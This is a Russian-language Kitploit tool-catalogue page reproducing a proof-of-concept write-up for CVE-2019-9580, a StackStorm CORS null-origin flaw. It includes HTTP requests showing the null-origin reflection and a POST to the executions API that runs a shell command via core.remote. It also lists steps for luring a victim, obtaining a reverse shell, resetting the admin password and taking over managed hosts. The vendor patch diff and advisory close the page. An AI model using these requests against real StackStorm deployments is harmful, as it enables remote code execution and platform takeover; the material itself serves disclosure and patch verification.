Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-9580 — CVE-2019-9580 - StackStorm: exploiting CORS misconfiguration (null origin) to gain RCE | Kitploit
Инструменты/GitHubGitHub/mpgn/cve-2019-9580
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm: exploiting CORS misconfiguration (null origin) to gain RCE

Репозиторий
3147 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-9580 - StackStorm: эксплуатация нулевого источника CORS для получения RCE < 2.9.3 и 2.10.3

До версий 2.10.3/2.9.3, если источник запроса был неизвестен, мы возвращали null. null может привести к успешному запросу из неизвестного источника в некоторых клиентах. Это позволяет проводить атаки типа XSS на API StackStorm.

обнаружено Barak Tawily и Anna Tsibulskaya

Видео 13-03-2019 17-16 (пользователь Firefox — жертва, пользователь Chrome — атакующий)

Доказательство концепции

Эксплуатация null CORS

Отправляя запрос к API StackStorm с заголовком Origin Origin: null, сервер отвечает с Access-Control-Allow-Origin равным null.

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

Ответ сервера:

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

Эксплуатация null CORS описана в блог-посте от portswigger, и мы можем найти следующий пейлоад:

root@kitploit:~

А как насчёт RCE?

StackStorm позволяет настраивать actions (действия), и некоторые из них, например core.remote, выполняют произвольные команды на выбранном хосте.

изображение

Итак, если мы укажем хост 127.0.0.1, мы выполним команду на Docker StackStorm. Отлично, RCE должно сработать, поскольку для регистрации action отправляется простой POST-запрос.

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

Что дальше?

Мы можем выполнять команды на хосте StackStorm, но давайте получим полный контроль над платформой StackStorm. Это можно сделать, сбросив пароль администратора. Используя документацию:

Нужно изменить пароль? Выполните: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html

Отлично, давайте соберём всё вместе:

  1. Отправить жертве ссылку с вредоносной нагрузкой, которая регистрирует новое action на хосте 127.0.0.1 для выполнения произвольной команды
  2. Жертва нажимает на ссылку и видит пони
  3. Поскольку CORS равен null, когда запрос отправляется с заголовком Origin: null, POST-запрос на регистрацию нового action срабатывает (мы также устанавливаем параметр credentials: "include")
  4. Действие запускается и команда выполняется (обратная оболочка)
  5. Атакующий сбрасывает пароль администратора и получает полный контроль над платформой StackStorm
  6. Атакующий может скомпрометировать все другие хосты, зарегистрированные в StackStorm

скриншот_1

Уведомление о безопасности:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

Ресурсы:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
Скачать инструмент